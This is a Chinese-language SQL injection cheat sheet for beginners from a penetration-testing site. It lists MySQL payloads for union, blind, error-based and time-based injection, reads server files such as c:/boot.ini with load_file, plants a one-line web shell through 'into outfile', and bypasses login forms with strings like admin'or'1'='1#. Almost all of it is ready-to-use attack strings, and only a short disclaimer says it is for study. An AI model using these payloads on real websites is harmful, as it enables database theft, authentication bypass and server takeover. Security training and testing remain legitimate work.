新手学习渗透手工注入时的常用 payload【新手必看】

GET型注入### GET型注入### GET型注入

检测注入:

1、加单引号(根据报错,猜测查询语句,看是否需要加括号来闭合之类的)
2、加双引号(根据报错,猜测查询语句,看是否需要加括号来闭合之类的)
3、减法
4、检测盲注:利用查询语句(当前三种都无反应)
' and left(version(),1)=5%23 (根据情况更改)
解释:解释:用于猜解版本号,如果错误,则页面会返回其他结果,即变化
注:请闭合以后再加查询语句,否则可能没反应(感觉是这样)
小知识:进一步检测是否存在注入时,or 1=1 等同于 and 1=1

两个查询数据库库名语句:

database():
-查询结果是网站当前使用的数据库名
select schema_name from information_schema.schemata limit 0,1
- 第一个数据库名字,并不一定是网站当前使用的数据库库名

Union 注入:

1.查询字段数 ,比如为 3
order by 数字 

2.union select 查询,根据返回结果选择下一步如何做:
union select 1,2,3 

3.查询网站当前数据库库名:(比如返回 2:3,否则就正常查询 )
id=-1 union select 1,database(),3 
4.查询表名:(比如上一步返回 sql )
id=-1 union select 1,(select table_name from information_schema.tables where table_schema='sql' limit 0,1),3
5.查询字段名:(比如上一步返回 user )
id=-1 union select 1,(select column_name from information_schema.columns where table_schema='sql' and table_name='user' limit 0,1),3
6.构造 SQL 语句查询数据:(比如上一步返回 id )
获得库名,表名,字段名后
select id from sql.user limit 0,1
其中,sql,user,id 分别对应库名,表名,字段名。

盲注:

情况:运行返回结果正确的时候只返回一些无用信息,页面无变化,不返回数据库当中的信息
1.猜解数据库版本号
' and left(version(),1)=5%23
解释:加入当前数据库版本号是 5 开头的,则返回正确结果,如果不是,则返回其他结果
其中 left(version(),1) 中的数字可以改变,left(a,b)从左侧截取 a 的前 b 位
2.查看数据库长度:
' and length(database())=8%23
解释:如果长度为 8 时,则会返回正确结果
3.猜测数据库库名第一位:
' and left(database(),1)%3e'a'--+
解释:database() 为 security,此时我们看他的第一位 是否 > a ,很明显 s > a,所以返回正确。
4.猜测数据库第二位:二分法
' and left(database(),2)>'sa'--+
当不知情的情况下,可采用二分法来提高注入效率
得知第一位 为 s ,此时看前两位是否大于 sa
此时可以采用逐位爆破的方式,爆破单个字母。确定好,就加上去换下一位。
5.查表名,利用 substr() ,ascii() 函数
'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--+
可以通过猜测对应字母的 ascii 值,不断缩小范围
或者是用 = 符号,来爆破 ascii 值
也可以通过更改 substr(**,2,1) 中的第二个数值来判断表的第二个字符
如果是第二个表,则更改 limit 0,1 中的数值
Explain:substr(a,b,c) 函数从第 b 位置开始,截取字符串 a 的 c 长度。ascii() 函数将某个字符转换位 ASCII 值

报错注入:

利用 union 注入的语句对应替换查询内容即可,其余不变
1.xpath 函数报错注入(只会这种,另外三种没试过)
' and updatexml(1,concat(0x7e,(select version()),0x7e),1)--+
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+
用 union 注入语句替换 select version() 即可
原理:mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
2..利用 double 数值类型超出范围进行报错注入
' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+
解释:exp() 函数是以 e 为底的对数函数;版本在 5.5.5及其以上
3.利用 bigint 溢出进行报错注入
' union select (!(select * from (select user())x) - 0),2,3--+
解释:bigint 超出范围;0 是对 0 逐位取反,很大的版本在 5.5.5 及其以上
4.利用数据的重复性
' union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

延时注入: sleep()函数

Tip:看浏览器响应时间不行,需利用 burp 看具体响应时间判断
1.猜测网站数据库长度:利用 length()函数
' and If(length(database())=8,1,sleep(5))--+
2.猜测数据库:比如查出来是 security
' and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
当错误的时候会有 5 秒的时间延时
s 的 ascii 值是 115,改变 ascii 值和 limit 的数字来确定数据库库名
3.猜测 security 的数据表,比如查出来是 users
' and if(ascii(substr((select table_name from information_schema.tables where table_schema='scurity' limit 0,1),1,1)=114,1,sleep(5)))--+
4.猜测 users 表的列:
' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
5.猜测字段的值:比如 username 字段的值
' and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+

导入导出相关操作

1、load_file() 导出文件:
(1)检测是否拥有权限读取并且文件完全可读
检测语句:and (select count() from mysql.user)>0/
如果结果返回正常,则说明具有读写权限,反之,则可能是管理员给数据库账号降权了
(2)使用 load_file() 在前台无法导出数据,使用以下语句:
select load_file(‘c:\wamp\bin\mysql\mysql5.6.17\my.ini’)into outfile ‘c:\wamp\www\test.php’
(3)导出 c:/boot.ini 文件(此文件可查看系统版本)
1.利用char() 函数
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
解释:“char(99,58,47,98,111,111,116,46,105,110,105)”是“c:/boot.ini”的 ASCII 代码
2.利用16进制
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
解释:“c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e69”
3.用绝对路径直接导出
-1 union select 1,1,1,load_file(c:\boot.ini)
解释:路径里的/用 \代替
2、文件导入数据库:
(1)load data infile 语句
解释:用于高速地从一个文本文件中读取行,并装入一个表中,文件名称必须为一个文字字符串
示例payload:
load data infile '/temp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'
解释:
将/temp/t0.txt 导入到 t0 表中,character set gbk 是字符集设置为 gbk
其中,/temp/t0.txt 属于服务器自身的文件。
fields terminated by 用于设置每一项数据之间的分隔符
lines terminated by 用于设置行的结尾符
当错误代码是 2 的时候,说明文件不存在
错误代码为 13 时,说明没有权限,可以考虑/tmp 等文件夹
3、导入到文件:
(1)把被选择的行写入一个文件中
select.....into outfile 'file_name'
该文件被创建到服务器主机,因此必须拥有 FILE 权限,才能使用
file_name 不能是一个已经存在的文件
(2)两种利用形式:
1.直接将 select 内容导入到文件中
select version() into outfile "c\phpnow\htdocs\test.php"
此处可以将 version() 替换为一句话。
2.修改文件结尾:(具体没玩过)
select version() into outfile "c:\phpnow\htdocs\test.php" LINES TERMINATED BY 0x16 进制文件 

通常是用 '\r\n' 结尾,此处我们修改为自己想要的任何文件
同时可以用 FIELDS TERMINATED BY 16进制 
其中的 16 进制 可以为一句话或者其他任何的代码,可自行构造。

POST型注入### POST型注入### POST型注入

何为POST注入:数据从客户端提交到服务端
举例:
一次post过程:
* 登录过程中,输入用户名和密码,然后其以表单的形式提交到服务器后,服务器再验证。

检测注入

* 单引号(根据报错看如何闭合)
* 双引号(根据报错看如何闭合)
* 盲注(利用查询语句,根据返回结果判断,比较麻烦)

场景描述

1、单引号报错,密码随意(双引号无反应)
若登录成功会返回登录账号之类的信息
返回错误信息:。。。 use near '11111' LIMIT 0,1' at line 1 。。。
说明程序对参数进行了单引号处理
(1)尝试万能密码:
admin'or'1'='1#,密码随意
(2)尝试 union 注入:
1admin'union select 1,database()# 密码随意
解释:
1admin 的意义:与 id=-1 的意义一样,当 union 前面错误时,才会执行后面的 select语句
select 语句中的字段数量由输入框决定

2、加双引号报错,密码随意(单引号无反应)
若登录成功会返回登录账号之类的信息
返回错误信息:。。。user near '111") LIMIT 0,1' at line 1 。。。
说明程序对参数 id 进行了 ("id")的处理
(1)尝试万能密码:
admin")# 密码随意
(2)尝试 union 注入
1admin")union select 1,database()# 
然后对应位置使用 union注入 即可
小知识:
运算符优先级:and > or

3、加单引号报错,密码随意(双引号无反应)
若登录成功不会返回登录账号之类的信息,只返回是否登录成功的数据
返回报错信息:。。。user near '111') LIMIT 0,1' at line 1 。。。
说明程序对参数 id 进行了 ('id') 的处理
采用布尔类型的盲注:
注意点:
在 and 后面的SQL语句查询结果为真时,会登录成功。
(1)猜测网站当前数据库的长度:
admin')and length(database())=8#&passwd=1&submit=Submit
(2)猜测数据库的第一位:(比如查出为 s )
admin')and left(database(),1)>'a'#&passwd=1&submit=Submit
(3)猜测数据库的第二位:采用二分法
admin')and left(database(),1)>'sa'#&passwd=1&submit=Submit
注意点:
利用二分法,可以有效的降低尝试次数。
当查出首字母为 s 后,在 burp 中 设置 sa 中的 a 为 爆破变量
其余参照盲注 payload 自行构造

4、加双引号报错,密码随意(双引号无反应)
根据报错情况,并依照上方,自行查阅修改 payload

5、单双引号并无错误提示(靠猜测进行注入)
可以通过构造延时注入语句,自行测试猜测查询语句是如何闭合的
如利用延时注入:
(1)猜测数据库库名长度:(方便下一步)
admin'and If(length((database()),1,1))=8,1,sleep(5))#&passwd=11&submit=Submit
(2)猜测数据库库名第一位:
admin'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit
其余 payload 自行构造

版权保护: 本文由蓝域安全网所发布,转载请保留本文链接: http://www.yemogege.cn/wzaq-stwz/525.html

免责声明:蓝域安全网所发布的一切渗透技术视频文章,逆向脱壳病毒分析教程,以及相关实用源码仅限用于学习和研究目的
请勿用于商业用途。如有侵权、不妥之处,请联系站长并出示版权证明以便删除! 

侵权删帖/违法举报/投稿等事物联系邮箱:yemogege@vip.qq.com 网站地图